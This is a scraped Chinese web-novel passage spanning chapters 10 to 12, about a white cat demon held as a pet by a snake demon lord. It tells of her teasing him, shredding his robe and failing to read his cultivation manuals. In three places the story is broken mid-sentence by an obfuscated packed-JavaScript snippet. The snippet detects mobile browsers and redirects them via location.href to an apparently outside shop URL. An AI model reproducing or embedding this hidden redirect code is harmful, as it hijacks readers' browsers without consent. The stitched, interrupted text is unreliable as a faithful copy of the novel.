虞窈常常听凡人们说一句话,叫做“梦想成真”。 她其实是一只很信任凡人的猫,灵猫大妖总认为自己遇到过的凡人都十分地亲和温柔。 毕竟,愿意给一只可爱的小猫咪喂吃食的凡人,再坏又能坏到哪里去呢? 所以,凡人们经常念叨的这句话,猫也无条件地相信了。 以至于每每梦到天上莫名其妙地下起小鱼雨的时候,猫就开始盼望着自己能够梦想成真。 梦到自己渡劫成功,不仅变成了一只神仙猫,还和娘亲团聚了的时候,猫也期盼着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004148|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能够梦想成真。 梦到自己在一个夏日大仇得报,不仅把晏岐那条臭蛇踩在了脚底下,还让他当上了自己的狗的时候,猫希望自己梦想成真的心情,简直就达到了巅峰。 只可惜的是,猫做的每一次梦都没能够实现。 于是,她又从凡人那里学会了另外一句话,叫做——“梦都是反的。” 这件事其实是有让猫与凡人之间产生过一丁点的信任危机的。 但是很快,猫就被凡人供奉上来的大鸡腿和香香小鱼给彻底哄好了。 人嘛,什么事情都喜欢挑着拣着往自己想要的那个方向发展。 猫理解。 但让虞窈万万没有想到的是,自己从未成真过的梦,好巧不巧,居然真的在今天成真了一次。 ——巴掌大的小白猫被粗壮硕大的蛇尾压在了底下,几乎就快要变成一只扁扁的猫饼了。 事情到底是怎么演变成这样的呢? 虞窈想,或许是她昨晚上太过疲倦,倒头就在地毯的某处睡了过去。 而晏岐的寝殿平日里不会有别的活物存在,晏岐也习惯了这一点。 夜晚休憩的时候,他的妖形会更加肆意地舒展开,昳丽粗大的蛇身会逐渐游满整座寝殿,每一处角落都会被那蛇身密不透风地占据。 而小白猫的身体实在太小太小,存在感几乎为零。 就算蛇身真的从小猫咪的身体上面碾了过去,对于晏岐而言,那感觉恐怕就和平时走在路上时不小心踩到了一只蚂蚁一样。 ——换句话说,就是没什么感觉。 虞窈无声呐喊着救命,努力地向上蹬起四只爪爪,想要把晏岐的蛇身从自己身上挪走。 当然,这一切只是徒劳而已。 不过,许是感知到了从蛇身上传来的柔软触感,正阖着双眸、卧在玄冰榻上休憩的男人蓦地睁开了双眼。 墨绿色的磅礴妖息在他身侧顷刻间汇聚,带着毫不掩饰的戾气与杀意。 但当瞥见不远处还在努力试图搬运蛇尾的小猫饼时,晏岐阴冷的表情中出现了片刻的停顿。 眼里阴鸷的杀意渐渐散去,取而代之的是饶有兴味的戏谑之意。 硕大的蛇尾慢慢地从小白猫的身体上移了开来,虞窈好不容易重获新生,从扁扁的小猫饼变成了蓬松的猫球球,得以大口呼吸新鲜空气。 忽而,那墨绿色的尾巴尖从小白猫的眼前一扫而过,很快又翘起尾尖,以尾代手,轻轻拨弄了一下小狸奴的脑袋,使得她抬头看向自己所在的方向。 猫:啧。 烦不烦啊,又想戏弄咪。 五官阴郁的男人微微抬起了上半身,姿态慵懒地侧倚在了玄冰榻上,收拢回去的蛇尾毫无章法地盘踞在他的身后。 许是才刚睡醒,细碎的发丝也显得略微有些凌乱。 晏岐正朝她微微笑着。 只是说不清这极淡又极轻的笑容里,究竟有几分真实的笑意。 晏岐修长的食指漫不经心地勾缠着乌黑的长发,眼下那颗不起眼的红痣更是点睛之笔,在烛火与微弱曦光的映衬下显得分外妖娆,为他平添了几分阴郁的气质。 披在晏岐身上的寝衣也在不经意间松松垮垮地滑落至了肩头,隐约露出一截轮廓清晰的锁骨,以及那一侧冷白胜雪的肩膀来。 如果抛开晏岐的身份不谈的话,这一幕其实可以说是充满了邪性的美感的。 而且,晏岐那无从挑剔的锁骨窝,好像正好可以用来养鱼。 至于地毯上的小白猫晃晃身后毛绒绒的雪白大尾巴,漂亮的鸳鸯瞳轻眨了眨,将这一画面全然尽收眼底。 偌大的寝殿里诡异地静默了片刻。 然后,小白猫挪动着毛绒绒的身体,毫不犹豫地转过了身去。 ——把圆滚滚的屁股对准了晏岐。 10. 第十章 果然,神金蛇就是神金蛇。 一大清早就搁这儿搔首弄姿,也不知道到底是有什么猫饼。 只有一猫一蛇存在的寝殿里,万般静谧的氛围霎时间就变得更加诡异起来。 虞窈懒得去看晏岐这会儿究竟是个什么样的表情。 她抬起粉嫩嫩的山竹爪爪,习以为常地开始为自己日常梳理。 先挨着舔完肉垫,再慢慢梳理脖子下面的毛毛。 然后把腿高高支起,将自己变成一只香香软软的白色大鸡腿,方便自己把别的地方也舔干净...... 每一根毛毛都不能够轻易放过,她是三界里最爱干净的咪。 嗯嗯嗯。 她身后的晏岐慢慢眯起了眼,无声瞧着这只视自己为空气的小猫咪。 正欲开口,两道声音冷不丁地从殿外传来:“尊上。” 是日尧和月女。 晏岐平静地转眸望了一眼殿门口的方向,随即神情自若地拢上寝衣,懒散地从玄冰榻上坐了起来。 “进。” 两道披着黑色斗篷的身影转瞬就跪在了晏岐面前,恭恭敬敬地朝晏岐行了一礼。 一旁,白色的大鸡腿不着痕迹地动了动,偷偷从屁股墩旁边露出半张猫猫脸来。 灵动的鸳鸯瞳沐在和煦的日光下,很轻地眨了眨。 是小蝴蝶咪! 再颇为嫌弃地看一眼月女旁边的日尧。 是笨蛋狗嘁! 某笨蛋狗嘁率先开口:“尊上,南境领主虎昀今早求见,已在玄清殿等候多时了。” “知道了。”晏岐倦倦地半垂下眼。 片刻后又道:“日尧,你随本尊一起去玄清殿见见那虎昀,月女,这猫就交给你了。” 日尧与月女各自领命:“是。” 晏岐和日尧前脚刚走,后脚白色大鸡腿就变成了猫猫球,踩着优雅的猫步来到月女身边,十分端庄地蹲坐在了少女面前。 “咪呜~” 小蝴蝶早上好。 “你这么快就恢复精神了呀。”宽大的斗篷之下,月女有着婴儿肥的脸颊看起来煞是可爱,同时也很具有迷惑性。 任谁都很难将长相这般甜美稚幼的少女与晏岐蛇尊身边的暗卫之一联系到一起。 “看来迟谷主那枣清丸当真是有用,不枉日尧那只笨狗昨夜变回妖形连滚带......啊不,是快马加鞭赶去了鬼草谷,为你取了药丸回来。” 枣清丸?就是昨晚上晏岐喂给她的吃枣药丸吗? 竟然是日尧为她取来的? 小白猫歪了歪头,感到意外。 月女接着说道:“不过小白,我要声明一点噢,其实我也超级超级想去迟谷主那里为你取药的。” “只是尊上让我留下来看着你,不让我走。不管怎么说,我肯定是要比那条笨狗更加喜欢你的......” 少女的语气里充满委屈。 小白?是在叫她吗? 这名字未免也忒土忒普通了点,瞬间就把灵猫大妖的格调给拉低了好不啦。 不过没关系,猫是只很大度的猫,可以对自己喜欢的小蝴蝶纵容一点。 虞窈踮起脚脚,主动用毛绒绒的小脑袋蹭了蹭月女的小腿。 猫也喜欢你。 下一秒,猫便如愿以偿地看见了月女双手捧脸,无声地尖叫起来。 一群蓝色多瑙河蝶也随之从月女的袖袍里飞出,围绕着月女和她翩翩起舞。 小白猫刚扑了一只蝴蝶玩,就被过分激动的月女拦腰抱起:“走走,小白,我带你吃饭去。听说今早也有大鸡腿吃哦。” 有了前一天的经验,知道蛇尊的那只妖宠如今转了性子,喜欢上了正常的吃食,膳房里的妖厨简直感动得痛哭流涕。 他终于可以不用再每天都面对那些血淋淋的生骨肉,麻木地剔骨砍肉,而是一身厨艺有了用武之地吗! 激动万分的妖厨一连做了十八道菜,堪称满汉全席。 看着面前一道道份量如小山、比自己的身体还要高大许多的菜肴,小白猫有些苦恼地用肉垫拨了拨玉碗。 “咪呜。” 猫吃不完这么多东西。 一旁的月女像是也看懂了小狸奴的心思,宽慰道:“没关系的小白,你能吃多少就吃多少,吃不完也没关系,千万别撑着自己。” 反正还有万兽窟的那群凶兽给猫兜底呢。 那好吧。 为了不辜负妖厨的良苦用心,也为了朝着把妖界吃垮的目标更进一步迈进,小白猫十分努力地塞下了一盘桂花糕、半只烤猪蹄、两个大鸡腿、四只香煎虾。 剩下的别的菜也或多或少全都尝了一遍。 香香~ 撑成球的小白猫懒洋洋地轻甩着毛茸茸的大尾巴,趴在石桌上休息了一小会儿。 然后就被月女用蝴蝶群引到了庭院里,追着蝴蝶玩耍消食。 妖界的天气向来阴晴不定、多变诡谲,连绵阴雨连续下上小半个月是常有的事,今天却是个难得的好天气。 明媚和煦的日光穿过参天大树枝叶间的缝隙,洋洋洒洒地落在了庭院里,如碎点金。 蹁跹飞舞的多瑙河蝶扑扇着蓝色的翅膀,亲昵地围绕在小狸奴的头顶或是脸颊边,若即若离。 还有几只蝴蝶施施然落在了小白猫的尾巴尖上,会呼吸的蓝紫色幽光在阳光的映照下,显得尤为动人美丽。 小白猫睁着双忽闪忽闪的大眼睛,两只毛绒绒的小爪子撑起上半身,东倒西歪地挥舞着山竹爪爪,说不清它这到底是在扑赶蝴蝶,还是在追逐日光的绚丽。 与虎昀商议完事情的晏岐刚一来到庭院,抬眼看到的便是这一幕。 他忽地停驻了脚步。 在还不明白发生了什么事情的日尧即将开口说话前,竖起食指抵在薄唇边,示意日尧噤声。 日尧于是老老实实地闭上了嘴,顺着晏岐的视线看向了庭院里的小白猫。 怎么了这是?是这只小狸奴半天都没有扑到一只蝴蝶,尊上嫌它太笨太丢人?还是庭院里的太阳太过毒辣,喜欢阴凉的尊上不想过去? 晏岐沉默地驻足在原地,看着小猫咪在草地上肆意翻滚,披着黑色斗篷的月女寸步不离地跟在它身边,指引着小蝴蝶飞来飞去。 和煦的日光不仅为小白猫柔软的毛发镀了一层朦胧的金辉,就连一旁的月女好似都跟着变得明亮了起来。 不知过去多久,小猫咪像是终于玩累了,逐渐停在了草地上。 蓬松的大尾巴高高翘在身后,吐露出半截粉嫩嫩的小舌头,开始像小狗一样在原地气喘吁吁。 一夜过去,晏岐还清楚记得小猫舌头那湿漉漉又柔软至极的触感。 也是奇怪。 每每面对他的时候,明明凶得跟只小老虎似的,仿佛和他有着什么血海深仇一样。 这会儿却变成了只小狗猫,憨傻至极。 晏岐莫名轻笑了声。 这细微的动静终于被月女给捕捉到,转头见是晏岐,她立时收敛了脸上的笑意,收起蝴蝶单膝跪地。 “尊上。” 小狗咪闻声也扭过脑袋看了过来,还有一两只尚未被月女完全收回去的多瑙河蝶停留在小狗咪的脸颊上,被斜射下来的日光照得光彩熠熠。 晏岐平静地看着她,朝猫勾勾手指:“过来。” 小白猫眨眨眼,相视无言几秒钟后,转身重新变回大鸡腿,开始自顾自的埋头给自己梳毛毛。 月女:“......” 日尧:“......” 狗险些又要怒而发飙,却被对面的月女一个眼神给凶了回去,不情不愿地和小蝴蝶一道隐去了身形。 晏岐慢慢眯起眼,没有在意两个消失了的暗卫,只是盯着自己的妖宠:“猫,过来。” 小白猫依然置若罔闻,两只前爪自下而上抱住自己松软的大尾巴,继续在太阳底下优哉游哉地舔毛毛。 晏岐微微一笑,语调依旧没有任何起伏:“最后一次机会。猫,过、来。” 小白猫张开爪爪,粉色的山竹肉垫跟着开了花,猫还是闷头舔舔舔。 嘿,今天的风儿甚是喧嚣,今天的猫儿也真是惬意~ 下一秒,舔毛舔得不知天地为何物的虞窈忽然从草地上浮空,径直便朝着晏岐的方向飞了过去。 小白猫先是短暂愣了一秒,意识到发生了什么事后,立马在墨绿色妖息的重重包裹里冲着晏岐龇牙咧嘴。 臭蛇!就知道对她用这些下三滥的手段!会用术法了不起啊!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004149|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刚被妖息平稳送进晏岐的怀里,气不打一处来的猫便想也不想,亮出锋利的爪爪就朝晏岐的脸上挥去。 只可惜猫没能够如愿。 一只冰凉的大手将小猫咪软乎乎的肉垫半路拦截了下来,并把小猫咪的爪子不轻不重地握在了手掌心里。 晏岐垂眸看着怀里炸了毛的小狸奴,无视了小猫咪过于尖锐的爪尖,带着薄茧的指腹慢慢摩挲起小狸奴毛茸茸的小爪。 男人很轻地偏了下头,不知何时放出来的蛇尾挑起小白猫的下巴,细碎的乌发轻垂下来。 晏岐依然面不改色地微微笑着:“早这么听话的话,不就没这么多事了么?” 虞窈:我听话你个sj%fh@d# - 几次三番下来,猫已经清楚认识到了自己现在的处境。 如果想要从正面硬刚的话,她能够打过晏岐这个小瘪三的概率,毋庸置疑为零。 但是没关系,猫不泄气。 毕竟,小猫咪最不缺的就是手段和力气。 ... ... 把猫抱回寝殿后,晏岐就没有再管这只一路上都表现得异常安静、像是在偷偷憋着什么大招的小猫咪。 把小白猫放到地上后,晏岐便游动着蛇尾,来到红檀云木几案前,开始翻阅今早从各方各地送上来的奏信。 大多都关于即将现世的鬼市秘境。 鬼市是目前最难摸清楚现世规律的天级秘境,开启的时间不定,有时仅仅只间隔十几年,有时却要等上漫漫的数百数千年,足以贯穿一只小妖的一生。 就好比距离上一次的鬼市现世,便已然过去了长达七百多年的漫长光阴。 鬼市如其名,是一处以交易为主的市集秘境。 想要的任何东西,想要实现的任何愿望,都可以在鬼市里同秘境使者做交易。 至于要用何种东西来达成交易,就要以秘境使者的要求为准了。 灵石,法器,乃至于身体的一部分或是五感,亦或者只需要完成使者发布的任务,都可以作为用来与使者交易的筹码。 这便也就导致了,哪怕是实力不足的人也有可能在鬼市里得到自己想要的东西,同样也是鬼市这个天级秘境如此受三界追捧关注的最主要的原因。 各种奏信在晏岐的手边堆成了小山,男人单手支着下颌,鸦羽般的长睫微微垂着,乌黑的长发如蛇一般从肩头滑落,瞧着颇有几分妖异。 晏岐一本本翻阅着这些奏信,淡漠的神情没什么变化,只偶尔提笔,在信上落下寥寥几个字。 直到—— 他察觉到有什么东西勾住了自己的外袍。 偏眸,是小白猫正努力地伸着爪爪,锋利的爪尖挂住了他的衣袍一角还浑然不知,得寸进尺地要顺着他的衣角往几案上面爬去。 晏岐抬了下眉,像是因小白猫一反常态的主动亲近而感到稀奇。 正欲开口,忽听连着“嘶拉”几声。 晏岐眸光微动,尚且来不及阻止。 就见爬到一半的小狸奴的前爪生生勾破了他的外袍,近乎透明的爪尖上还缠绕着一圈被勾坏了的丝线。 而小狸奴自己则跟坐滑滑梯似的,“咻”的一下,就从他的身上再自然不过地滑了下去。 只听“啪叽”一声,小白猫一路畅通无阻地滚回到了地毯上,由于惯性,落地时还在原地稍微弹了两下子。 “Duangduang”的,十分Q弹。 猫毛绒绒的耳朵尖动了动,小白猫那张懵逼的猫猫脸上还停留着几分不似作假的茫然之意。 仿佛就连小猫咪自己都不曾想到,事情会朝着这个方向发展而去。 “咪呜?” 小白猫歪了下头,有些困惑地抬起爪爪,看了看此时仍勾在爪尖上的丝线,另一端还连接着晏岐的外袍。 又仰起头来,瞅了瞅这会儿面无表情的晏岐。 下一秒,那双漂亮的鸳鸯眼蓦地亮起。 小白猫像是突然觉醒了什么本能似的,尾巴兴奋地猛然一翘,勾住缠绕在爪尖上的丝线就开始满屋子地来回疯跑。 寝殿里顿时奏响了欢快的交响乐章。 “嘶啦——” “嘶啦——” “嘶啦嘶啦嘶——” 11. 第十一章 晏岐:“......” 等到他用术法擒住了这只又像是得了失心疯的小猫咪,外袍一角已经被小白猫的爪子勾得破破烂烂、惨不忍睹了。 而地毯上到处可见被扯坏了的丝线,就连小白猫圆滚滚的身体也因为她自己这毫无章法的跑法,被这些丝线缠绕上了好几圈。 被困在丝线里的小猫咪尝试着扒拉了几下,没能把自己从丝线怪的包围圈里救出来,索性放弃。 晏岐则拎着小白猫软乎乎的后颈皮,把她提溜到了自己跟前。 “故意的?” 面对晏岐的质询,小狸奴破天荒地主动回应了他一次。 猫极其无辜地眨了眨眼,奶呼呼地“喵”了一声,又在丝线怪的围堵中假模假样地挣扎了几下。 那委屈巴巴的模样像是在说:怎么会是故意的呢?你不可以误会咪。咪是被吓坏了才不小心到处乱蹿的,咪自己都被丝线给缠住了呢。你看,咪身上的这些线就是证据! 晏岐只是轻呵一声,不像是相信了小狸奴。 他语调轻缓地说道:“猫,你把本尊的衣裳给抓坏了,得赔。” 猫又是歪一歪头:“咪呜。” 亲亲,真是不好意思,猫这边两袖清风,身无分文,穷得叮当响,猫把自己卖了也赔不起哦,有本事就把猫给嘎了吧。 虞窈头一歪,眼一闭,腿腿一蹬,吐露出小半截舌头来。 装死jpg. 晏岐不甚在意地半垂下眼,蛇尾从身后绕过来,幽绿尾尖轻抚着小猫咪温热的脸颊。 猫仍然一动不动,装死得很彻底。 那冰凉的温度倒是激得小白猫不受控制地轻微炸了毛,宛若一只小小的蒲公英。 晏岐温声:“没关系,本尊看你这身皮很是不错。” “不然,就把你的皮毛给扒下来,叫妖仆做成花纹样式,正好能够添补这衣角的损坏之处,你看如何?” 晏大夫的医术果然高明,小白猫顿时就起死回生,颇有些惊恐地瞪大双眼看向晏岐。 不如何!非常不如何! 不就“不小心”扯坏了你一件衣裳么,堂堂妖界尊主怎么可以这么斤斤计较,动不动就要扒猫的皮? 小气,真真小气,你又不是晏扒皮! 晏岐眉梢微挑,没有理会炸毛的小猫咪,只是伸出玉白的长指,扯着小猫咪尚未收回去的粉嫩小舌往外轻拽了拽。 如愿以偿地看见小猫咪又开始龇牙咧嘴、拳打脚踢后,才颇为满意地把小猫咪重新放回到了地上,褪去身上不成样子的外袍。 “来人。” 猫闻言一惊。 做、做什么?真要叫人来扒猫的皮啊?你这蛇咋恁较真,开不起一点玩笑呢你? 猫实在不愿意面对自己接下来的命运,猫猫祟祟地就躲进了寝殿一角,猫猫脸努力拱进柔软的地毯里,拿屁股对着外面。 看不见猫看不见猫看不见猫。 与此同时,寝殿里也响起了一阵窸窸窣窣的脚步声。 只是不多时,那声音又渐行渐远,直至消失不见。 把猫猫脸蒙进地毯里的虞窈又等了好一会儿,没有等到别的动静。 咦,不是要扒猫的皮吗,怎么还没有来捉猫? 猫慢吞吞地扭过脑袋,圆溜溜的大眼睛试探着看向身后。 只见偌大昏暗的寝殿里,除了晏岐以外,空无一妖。 而晏岐此时已经换上了一身全新的外袍,重新坐在了几案前,继续翻看着那些没有读完的奏信。 什么意思,猫安全了? 很快意识到自己是被吓唬了的猫松了口气,试着又扒拉了几下身上的丝线。 然后——肉眼可见地被那些丝线缠绕得更紧了,并且走两步路就会被这些麻烦的丝线给绊上一脚。 一句剪不断、理还乱,或许能够完美形容猫此时此刻的心情。 保(bi)持(qing)优(lian)雅(zhong)地来到晏岐脚边,虞窈伸出肉垫,理直气壮地扒拉了一下晏岐的衣袍。 “喵。” 你衣裳的线把猫给缠住了,你应该给猫解开。 晏岐的这件新外袍是浅淡的青绿色,腰间还系有一条青竹腰带,使得此时的晏岐乍一看,简直像极了位气质谦和的儒雅书生。 ——如果那条粗大骇人的暗色蛇尾没有从他的衣袍下面探出,轻描淡写地就把脚边的小白猫拨弄到了一旁去的话。 虞窈本就被这些丝线缠绕得不成样子,被晏岐这么一拨,更是不受控制地朝着一旁直愣愣地倒去。 小猫咪在柔软的地毯上面骨碌碌地打了个滚,这会儿是真的从猫猫球变成毛毛球了。 她不死心地喵呜一声,磕磕绊绊地重新来到晏岐脚边。 “喵!” 给!猫!解!开! 又被蛇尾毫不留情地拨弄开。 “喵喵喵!” 喂,你尔多隆吗! 这一次,晏岐终于低眸看了过来。 脚边的小白猫简直像是去盘丝洞里走了一遭,身上到处都缠着细到几乎透明的丝线。 晏岐淡声:“知错了吗?” 小白猫左脚踩踩右脚,被困在丝线里的大眼睛无辜地眨了又眨:“喵。” 知道了(才怪)。 再也不敢了(下次还敢)。 你就给我解开嘛(解开猫就弄你)。 晏岐盯着小白猫看了许久,像是在验证小猫咪这幅示弱模样的真实性。 而后,一道墨绿色的妖息从小白猫的身体上拂过,携来一阵寒凉的气息。 小白猫忍不住打了一个小小的哆嗦,再垂下小脑袋时,缠绕在身上的丝线已然不知所踪。 重获自由的虞窈立时舒舒服服地伸了一个懒腰,同时蠢蠢欲动的小眼神又开始不经意地往晏岐的新衣裳上面瞟。 “看来是还没有被丝线缠够?”还没瞟上两眼,晏岐的哼笑声就轻描淡写地落下。 被看穿心思,虞窈晃晃尾巴,故作无事发生地走到一旁自觉卧下。 算了,猫大度,这次就先暂时放你一马。 但猫希望你记住,猫不是放马的。 寝殿安静,偶有徐徐微风从窗户边拂过,地毯也柔软,和儿时与兄弟姐妹一起枕在母亲毛茸茸的肚皮上时的感觉很像,舒适又安心。 折腾了好一番的虞窈很快就感觉到有浓浓倦意袭来。 她踏着猫步来到寝殿内唯一的窗户边,蜷起蓬松的长尾,就这样沐着从窗户缝隙照进来的日光侧着身子躺下。 时不时耳边会传来几声晏岐翻阅奏信的沙沙声,还有蛇尾无意识在地毯上游动的窸窣声响。 对于虞窈来说,这样的声音其实十分助眠。 猫慢吞吞地阖上了眼,渐渐沉入了梦乡。 再次醒来,窗外艳阳依然高照,虞窈这一觉睡的时间并不算太长。 她温吞地从枕着的肉垫上抬起小脑袋来,迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004150|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷糊糊地“喵呜”了两声,前爪被枕得有些发麻。 那张干净的猫猫脸上犹带着困意,像是还没有分清睡梦与现实,浓浓的小猫味扑面而来。 片刻后,小白猫才骨碌骨碌地甩了甩毛茸茸的小脑袋,有效驱散了倦意的同时,也甩掉了好多好多根浮毛。 细小的绒毛在阳光下飞舞,像是下起了雪花。 虞窈这回终于彻底清醒,习惯性地爪爪前探,抻了个懒腰。 打完哈欠后,小白猫抬眼望去,发现晏岐居然还在几案前翻阅那些奏信,她这一觉醒来,那些像小山一样的奏信只减少了差不多一半而已。 怎么会有这么多的东西要看? 虞窈先前本来还有一点小小的嫉妒,晏岐这条臭蛇居然能够拥有那么多使唤不完的手下和充盈的宝库,可以用来买好多好多条鱼鱼和大鸡腿还有肉包子了。 但现在看来,做受万妖尊崇的妖界尊主似乎也没有她想象中的那么舒坦嘛。 都还没有一只小猫自由,可以随时随地睡觉。 这般想着,小白猫来到晏岐身边,本又想顺着晏岐的袍角往几案上爬。 在晏岐无声的眼神警告下,又哼的一声缩回了小爪,转而端坐在地毯上面,漂亮的鸳鸯眼一眨不眨地盯着晏岐瞧。 经历被丝线怪缠身一事后,聪明的猫猫又又悟了。 与其琢磨着要怎么样才能够从臭蛇身边逃走,不如想方设法地使唤这条臭蛇,更加让猫解气。 试问,有什么事情是能够比花死对头的灵石,还能让死对头心甘情愿地给自己当牛做马来得更加有成就感的呢? 没有,根本就找不到。 一想到这,小白猫在原地跺了跺脚,理直气壮地无声催促起晏岐。 快点把猫抱上去。 地上冷,脚脚凉。 头顶上方很快落下一声男人的轻呵:“你倒是会使唤本尊。” 话虽如此,墨绿色的妖息还是包裹住了小白猫的身体,把她送到了几案上。 虞窈先是四处巡视了一番这个相对陌生的领地。 有了猫作比较,这张几案其实很宽。 除了堆得比猫还要高大许多的奏信、笔砚以外,还有几摞厚厚的书籍堆在一起,很像是什么秘术与功法。 小白猫顿时震怒。 难怪晏岐能够比她先一步渡劫成功、迈入炼虚期的境界,每次找他打架的时候,使的招数还都那么阴! 原来是背着猫读了这么多她连名字都没有听说过的秘术功法,在偷偷卷猫。 不行,猫也要学! 说干就干。 小白猫踮起脚脚,毛茸茸的肉垫搭着书山的边缘,努力撑起了上半身,然后就用湿漉漉的粉鼻尖把摆在最上面的书籍给拱了下来。 “啪嗒”一声。 那本书籍正好掉落在了虞窈面前,刚刚好摊开了第一页。 好耶,连翻页都不用了,真是天助猫也! 小小的白猫脑袋于是迫不及待地凑到了那本功法跟前,眯起眼睛,一个字一个字挨着读了起来。 天、也(地)、玄......嘶,跳过。 于(宇)、由(宙)、共(洪)......嘶嘶,这里也跳过。 日、月......嘶嘶嘶,跳过跳过跳过,统统都给猫跳过。 然后猫就绝望地发现了一个非常严肃的问题。 坏。 猫好像有点不识字,是只丈育猫QAQ。 12. 第十二章 猫不怎么识字这件事,其实怪不得猫。 虞窈以前一直居无定所,四海为家,直到偶然间发现了巫云峰这块风水宝地,才算是真正定居了下来,成为了庇护巫云峰以及附近村镇的灵猫大妖。 身为一只灵猫,天地的宠儿,对于虞窈来说,吸收日月精华用以提升修为这件事,其实就和呼吸一样简单。 也正因此,虞窈从来不需要为了修炼而发愁。 每天除了在最好的时辰吸收一会儿日月精华以外,就优哉游哉地跑去晒太阳、抓小鱼、睡大觉了。 周边的村镇上倒是设有好几间私塾,虞窈偶尔闲得没事干的时候,也会变成正常猫咪的模样,偷偷跳上私塾的窗户,盘尾蹲坐在窗边,和里面的孩童一起听先生授课。 私塾的孩童们年纪尚幼,学的内容也相对简单,猫聪明又自信,就算没有任何学习基础,想必也能够轻松跟上。 私塾里的弟子们听先生授学:“个、十、百、千......” 私塾外头的猫弟子便也跟着摇头晃脑:“个、十、百......” 下一秒,猫四脚朝天,呼呼睡了过去。 一觉醒来,天都黑了,不知名的夏虫咿咿呀呀地叫着,私塾里空无一人。 猫跳下窗户,决定今天就先学到这里,第二天再来继续听课好了。 翌日,先生先给弟子们温书:“个、十、百、千......” 猫弟子也一个字一个字地点着下巴:“个、十、百......” 猫又倒头睡了过去,睡得很香。 醒来后发现,自己还在睡梦中把脚脚蒙在了眼睛前面,挡住了过于毒辣的日光。 长此以往,先生都教到《周易》、《礼记》、《左传》了。 猫还在窗户边:“个、十、百......呼噜噜,呼噜噜。” 没办法,白天对于猫来说,实在是太太太好睡了。 而且先生时不时就在那里“之乎者也”来、“之乎者也”去。 与其说是在授课,不如说更像是在给猫免费助眠。 可恶,要是私塾的上课时间是在晚上就好了,猫在晚上最有精神! 只可惜的是,放眼整个三界,没有一家私塾会在晚上授课。 所以,都怪私塾,不能怪猫。 而此时此刻,盯着书籍上那些密密麻麻挤在一起的小字,虞窈很是费力地往下读了几行,然后忍不住开始心想。 唉,怎么还没到晚上,猫又想吃大鸡腿了,鸡腿香香。 还有那盘八宝圆子也很不错,是猫以前没有吃过的味道,也不知道妖厨今晚会不会准备,真期待呀。 正这么神游着,一只玉白的大手忽地伸到了小白猫跟前,轻飘飘地抽走了那本书籍。 晏岐的语调一如既往地平静轻缓:“看得明白么?看不明白就安分一些,别给本尊添乱。” 谁看不明白了!凭什么看不起猫! 虞窈正要震怒地拍拍爪垫,突然间意识到—— 坏,这次好像真被晏岐这条臭蛇给说中了,猫真的看不太懂。 凡人口中的天书是不是就是这样? 小白猫底气不足地跺了跺脚,扁扁地走开了。 不过,猫好不容易才上来几案一趟,要猫就这么一事无成地灰溜溜离开,那也是绝对不可能的。 小猫咪角度刁钻地在如山的书堆与奏信之间灵活地穿梭着,圆溜溜的大眼睛东瞅瞅西看看,很快就盯上了搁置在几案边上的笔架。 有着鸡翅木纹理的笔架上悬挂着好几支材质不一的毛笔。 巴掌大的小狸奴忍不住用脸颊蹭了蹭毛笔的笔锋,觉得心痒痒,又忍不住张开猫猫嘴,用小小的乳牙去啃咬笔管。 很好,猫有新磨牙棒了。 小白猫在这边磨牙磨得正起劲,命运的后脖颈忽然被人拎住。 下一秒,就被迫来了个一百八十度大转弯,提溜到了晏岐跟前。 那双墨绿色的竖瞳深邃又森冷,给人的感觉十分危险,却又很难不叫人深陷其中。 男人言简意赅:“再捣乱,就下去。” 嘁,又在吓唬猫。 尽管如此,猫还是把蓬松的大尾巴盘在身前,稍微安分了一小会儿,很快就又觉着困了。 她打了个哈欠,为了防止自己又再睡着,错过暮食的时辰,便咕噜噜地甩甩脑袋,随即走到晏岐手边,装模作样地和他一道看起了那些奏信。 信上都写了些什么内容,十个字有八个猫都是看不懂的。 但—— 嗯嗯,这只妖的字看起来写得很不错,应该是只文化妖,猫要向他学习,是猫的榜样。 哎呀呀,这个写得就不太行了,字一个比一个东倒西歪,简直就是在鬼画符嘛。 咦,这个好像还能勉强将就一下,给个及格分,过。 一开始的时候还好,晏岐懒得管这只不知在摇头晃脑些什么的小白猫。 直到小狸奴的脑袋越凑越近,把他的视线也给遮挡住了。 他才顺势一抬手,宽大的手掌完完全全罩住了小猫咪的猫猫脸,就这样把她拨到了边上。 “真闲得没事做的话,就叫月女来带你出去玩。” 那不行,猫今天已经和小蝴蝶玩过了。 为了猫和小蝴蝶之间的友谊能够长期性可持续发展,猫不可以时时刻刻都找小蝴蝶玩的。 再说了,她怎么就闲得没事做了? 灵猫大王正在认认真真地给这些妖的字打分,可忙可 